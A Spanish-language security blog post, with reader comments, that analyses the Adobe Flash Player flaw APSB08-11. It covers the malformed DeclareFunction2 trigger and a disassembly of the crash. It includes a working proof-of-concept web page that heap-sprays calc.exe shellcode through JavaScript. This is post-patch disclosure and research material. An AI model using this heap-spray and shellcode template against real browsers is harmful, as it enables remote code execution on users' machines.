Random IRC quote :      <matalaz> la posibilidad al gatillazo

Documentando un poco la vulnerabilidad APSB08-11

Hace algún tiempo encontré una vulnerabilidad en Adobe Flash Player. Ha sido publicada hace poco a través de ZDI como: ZDI-08-021, y en Adobe como: APSB08-11

Vamos a explicar aquí los detalles de esta vulnerabilidad más en profundidad, ya que hasta el momento no se han dado demasiados detalles sobre ella.

 Adobe Flash Player 9.0.115.0 y anteriores parecen tener problemas manejando cierto tipo de tags malformados. Concretamente los problemas ocurren al manejar la acción DeclareFunction2. Si se explota correctamente la vulnerabilidad permite ejecutar código en el proceso del navegador ejecutando el plugin de flash.

 Sobre el formato de los ficheros swf se puede encontrar mucha información por internet. Por ejemplo aquí hay información muy buena: http://www.m2osw.com/swf_alexref.html

Los swf constan de una pequeña cabecera seguida de un montón de tags que terminan con el tag EndTag.

Los tags tienen esta estructura:

        struct swf_tag {               
        unsigned short f_tag_and_size;
        f_tag = f_tag_and_size >> 6;
        f_tag_data_size = f_tag_and_size &amp; 0x3F;
        if(f_tag_data_size == 63) {
         unsigned long  f_tag_data_real_size;
        }              
        else {   
           f_tag_data_real_size = f_tag_data_size;               
        }        
        };

Y las acciones esta otra:

        struct swf_action {
        char align;
        unsigned f_action_has_length : 1;
        unsigned f_action_id : 7;
        if(f_action_has_length) {
         unsigned short f_action_length;
         unsigned char f_action_data[f_action_length];
         }
        };

Las acciones van embebidas en los tags que soportan acciones.

La acción DeclareFunction2 (código 0x8e) contenida en el tag DoInitActions es la causante de esta vulnerabilidad.

Esta acción tiene esta estructura:

string         f_name;
unsigned short f_arg_count;
unsigned char  f_reg_count;
unsigned short f_declare_function2_reserved : 7;
unsigned short f_preload_global : 1;
unsigned short f_preload_parent : 1;
unsigned short f_preload_root : 1;
unsigned short f_suppress_super : 1;
unsigned short f_preload_super : 1;
unsigned short f_suppress_arguments : 1;
unsigned short f_preload_arguments : 1;
unsigned short f_suppress_this : 1;
unsigned short f_preload_this : 1;
swf_params     f_params[f_arg_count];
unsigned short f_function_length;

Y es usada para declarar funciones que pueden ser llamadas desde otras acciones más tarde.

Las funciones declaradas con esta acción soportan hasta 255 registros que se pueden manipular dentro de la función. Además es posible controlar si en estos registros se cargaran o no ciertas variables internas dentro de la función: this, arguments, super, _root, _parent y _global. Esto se hace con los bits de preloading y supressing. El parámetro f_reg_count debe ser especificado y dice al player de flash el registro más alto en uso dentro de la función. Los registros empiezan como undefined por defecto. Las variables internas que se precargan son cargadas a partir del registro 1 y se cargan en este orden: this, arguments, super, _root, _parent y _global.

El bug ocurre cuando bajo ciertas condiciones se declara una función con algún numero de registros y se suprimen los registros también marcados como precargados: this, super y arguments. En xml:

<DeclareFunction2 name=»» argc=»0″ regc=»3″ preloadThis=»1″ suppressThis=»1″ preloadArguments=»1″ suppressArguments=»1″ preloadSuper=»1″ suppressSuper=»1″ preloadRoot=»0″ preloadParent=»1″ preloadGlobal=»0″ reserved=»1″>

Aquí se muestra un desensamblado del código que casca:

.text:30058022 sub_30058022    proc near               ; CODE XREF: sub_3005883A+3p
.text:30058022                 push    ebx
.text:30058023                 push    esi
.text:30058024                 mov     esi, ecx
.text:30058026                 xor     ebx, ebx
.text:30058028                 cmp     [esi+3Dh], bl
.text:3005802B                 mov     dword ptr [esi], offset off_301A8FB0
.text:30058031                 jz      short loc_3005805C
.text:30058033                 mov     eax, [esi+24h]
.text:30058036                 push    edi
.text:30058037                 mov     edi, [eax+1Ch]
.text:3005803A                 push    dword ptr [esi+30h]
.text:3005803D                 mov     ecx, edi
.text:3005803F                 call    sub_30188B70
.text:30058044                 push    dword ptr [esi+40h]
.text:30058047                 mov     ecx, edi
.text:30058049                 call    sub_30188B70
.text:3005804E                 mov     ecx, [esi+0Ch]
.text:30058051                 cmp     ecx, ebx
.text:30058053                 pop     edi
.text:30058054                 jz      short loc_3005805C
.text:30058056              mov     eax, [ecx]     (*1)
.text:30058058              push    1
.text:3005805A              call    dword ptr [eax]

(*1) En 30058056, ecx está apuntando a un objecto, una clase de c++, que cuando se dan las condiciones para que se reproduzca la vulnerabilidad, es un objeto inválido, y la dirección es inválida o el puntero apunta a una dirección que contiene cualquier otra cosa porque se ha reusado esa memoria.

 PoC:

Como decíamos lo que parece estar ocurriendo es que se ha liberado un objeto pero en alguna parte se sigue usando un puntero a éste, y la memoria a la que apuntaba ahora contiene otras cosas. Controlando el contenido de esa memoria (usando la técnica de heap spraying por ejemplo) sería posible controlar la dirección del salto.

 Aquí va un ejemplo de una página web haciendo referencia a un swf y haciendo heap spraying con una shellcode que ejecuta calc.exe.

<script>                    

var payLoadCode=unescape(          

"%ue860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +          

"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +          

"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +          

"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +          

"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +          

"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +          

"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +          

"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +          

"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +          

"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +          

"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +          

"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +          

"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +          

"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +          

"%u652E%u6578%u9000");          

var spraySlide = unescape("%u9090%u9090");          

function getSpraySlide(spraySlide, spraySlideSize)          

{          

while (spraySlide.length*2<spraySlideSize)          

{          

spraySlide += spraySlide;          

}          

spraySlide = spraySlide.substring(0,spraySlideSize/2);          

return (spraySlide);          

}          

var heapBlockSize = 0x98000;          

var SizeOfHeapDataMoreover = 0x26;          

var payLoadSize = (payLoadCode.length * 2);          

var spraySlideSize = heapBlockSize – (payLoadSize + SizeOfHeapDataMoreover);          

var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;          

var memory = new Array();          

spraySlide = getSpraySlide(spraySlide,spraySlideSize);          

heapBlocks=1470;          

for (i=0;i<heapBlocks;i++)          

{          

memory[i] = spraySlide +  payLoadCode;          

}          

</script>    
<input type="button" language="JavaScript" /><object width="550" height="400">
<param name="movie" value="a.swf"></param></object>

Esta vulnerabilidad fue también reportada y usada por Shane Macauley para el reto de vista del concurso PWN to OWN de ZDI:

pwn-to-own-adobe-patch-released

14 Comentarios para “Documentando un poco la vulnerabilidad APSB08-11”

  1. Comment por erg0t | 04/14/08 at 10:55 am

    Muy interesante 🙂
    No me quedo muy claro cuando dices que la dirección es inválida o se ha reusado la memoria. Lo que en realidad no me quedo claro es el caso en que la memoria fue reusada. Sigue estando «libre» esa memoria? es decir, esta reservada (se pidió anteriormente) pero en ese momento esta etiquetada como libre, y con el heap spraying buscas que en algun momento el allocator reuse ese bloque y te lo de, o funciona de otra manera el tema?.

    Saludos

  2. Comment por javi | 04/14/08 at 6:59 pm

    hola Erg0t,

    hace tiempo que miré esto pero si no recuerdo mal lo que pasaba es que el objeto al que debería apuntar ecx cuando ocurre el caske había sido liberado, pero se sigue usando el puntero. Entonces en [ecx] hay un valor que no es el puntero a función que debería haber. Es decir, la memoria que antes contenía ese objeto al que apunta ecx ahora contiene otros datos.

    Con el heap spraying (modificando el número de bloques reservados y el tamaño de cada uno) se consigue dos cosas: por un lado que al modificar el heap lo que hay en esos datos a los que apunta ecx sea diferente según reservemos mas o menos bloques y cambiemos sus tamaños, y por otro aumentar la probabilidad de que lo que hay en [ecx] sea un valor que apunta a un bloque nuestro con la shellcode. Creo que era así.

    Lo que era mas chungo era dar con los valores de «numero de bloques» y «tamaño de cada bloque» para el heap spraying tal que ocurriera eso, pero probando un rato se encontraban más o menos rápido y una vez los encontrabas funcionaba todas las veces que ocurría el caske. Eso sí, si cambiabas de versiones de navegador o ssoo, normalmente tocaba recalcular esos valores.

    De todas formas, leí ésto en lo que publicó ZDI:

    «The specific flaw exists when the Flash player attempts to access embedded Actionscript objects that have not been properly instantiated»

    Yo estuve logeando con paimei las reservas / liberaciones de memoria que ocurrían antes del caske y creo que la memoria se reservaba bien, pero se liberaba después. De todas formas sería lo mismo no?

    Espero que esté bien lo que te cuento y que te haya valido 😉

    Un saludete

  3. Comment por Ruben | 04/14/08 at 7:18 pm

    Muy buena Javier!

    Una cosa, la vulnerabilidad es cross-platform no? la probaste en linux?

  4. Comment por Mario Ballano | 04/14/08 at 7:50 pm

    ei!,

    muy bueno el análisis! 🙂 , es un buen ejemplo de vulnerabilidades que en un principio parece que no van a ser explotables pero en las cuales investigando un poco más se da con un método para hacerlo, aunque el heap spraying es algo conocido y muchos lo hemos usado en nuestros PoCs, no siempre somos conscientes de todo lo que se puede llegar a hacer con «heap feng shui» como dicen por ahí. Por cierto … ¿alguno ha usado las librerías incluidas en Canvas, Core Impact o similares para juguetear con el heap?

    Un saludo! y sigue mirando al monteee ;-),

    Mario

  5. Comment por Ruben | 04/14/08 at 8:20 pm

    Y que lo digas lo de que en principio no parecen explotables, si no es la misma tienen pinta de ser bastante parecida http://erratasec.blogspot.com/2007/11/postmortem-and-ontime.html

  6. Comment por javi | 04/14/08 at 8:21 pm

    gracias 😉

    Pues en el advisory de Adobe dicen que ocurre en todas las plataformas. Yo la verdad que en linux no llegué a probarlo.

    Mario.. ahi le has dao xD mirar al monte es el único camino a la iluminación.

  7. ash
    Comment por ash | 04/15/08 at 1:31 am

    Canvas, Core Impact o similares?

    Más me vale que me sirva el Metasploit, porque mis jefes no me compran uno de esos ni que los regalen con la compra de cinco chupachups… si alguien los ha podido usar en su curro ya me contará que tal van; aunque sólo sea para darme envidia 😛

    Muy buen post Javier, que haya más!

  8. Comment por erg0t | 04/15/08 at 3:56 am

    A lo que me refería es que, si esa memoria tiene otros datos tiene que haber sido porque se volvió a usar, pero si aun siguiera en uso en el momento, la explotación no sería posible porque el allocator no te va a dar memoria que este usando. Esa memoria en el momento debería estar «libre» para que con el heap spraying se pueda tocar en algun momento. ¿Quizás se usa y se vuelve a liberar?

  9. Comment por Miguel | 04/15/08 at 3:08 pm

    /*++

    Gran analisis Javi!

    La vulnerabilidad si que parece ser cross-plataform. Es mas, a partir de que Vista fuese reventado con una vulnerabilidad cross-platform en el PWN2OWN y con la publicidad que se le ha dado al tema (para gran regocijo de ciertos ubuntuteros, me imagino…) se ha abierto el debate en entornos relacionados con Microsoft, como por ejemplo el blog de Larry Osterman en el que podemos encontrar argumentos y comentarios para todos los gustos…

    –*/

  10. Comment por javi | 04/15/08 at 6:49 pm

    Ergot,

    ahora te he entendido lo que te refieres. Lo que pasa que el heap spraying se hace al principio del todo. El que reusa esa memoria es el propio plugin de flash. Lo del heap spraying se hace al principio del todo, incluso antes de que se cargue el swf. Lo que pasa que al hacer ese heap spraying al principio estás haciendo cambios en el heap, que luego van a afectar: primero a la dirección donde está reservado el objeto que se libera y provoca la vulnerabilidad, y segundo a los datos que hay cuando se reusa esa memoria liberada. Y para un cierto valor (o seguramente un conjunto de ellos) de «tamaño de bloque» y «numero de bloques» del heap spraying ocurre que lo que hay en esa memoria reusada, concretamente en [ecx], es un valor que si lo tomamos como una dirección cae en uno de nuestros bloques con shellcode.

    Respecto a lo que dices tú erg0t, estaría bien mirar como se podría tocar el heap desde flash. Con algún tag o no se si se puede embeber javascript por ahí. Por ejemplo en un pdf tu puedes embeber javascript y hacer heap spraying tal cual. En un swf igual se puede hacer algo tambien.

  11. Comment por erg0t | 04/15/08 at 11:00 pm

    Gracias javi, ahora me quedo totalmente claro el asunto 🙂

  12. Comment por Ruben | 04/15/08 at 11:41 pm

    La verdad es que controlar la memoria tal y como se puede hacer mediante heap spraying es bastante últil para explotar. Aunque otras veces como lo que comenta Javier de embeber javascript, en el caso de que no fuera posible, se pueden buscar maneras alternativas. Yo, por si le sirve a alguien, en una ocasión usé, para explotar un arbitrary pointer dereference en office, una especia de «heap spraying» mediante la inclusión de imágenes embebidas en el documento. De esta manera se podía controlar bastante bien la heap, supongo que en otras aplicaciones se podrá hacer algo parecido.

    saludos.

  13. Comment por Mario Ballano | 04/17/08 at 9:12 pm

    He encontrado un documento interesante sobre estos temas, echadlo un ojo :

    http://documents.iss.net/whitepapers/IBM_X-Force_WP_final.pdf

    Un saludo,

    Mario

  14. Comment por jose pepe | 05/09/08 at 8:25 am

    Oye. existe alguna posibilidad de conseguir el archivo a.swf ?

Se han cerrado los comentarios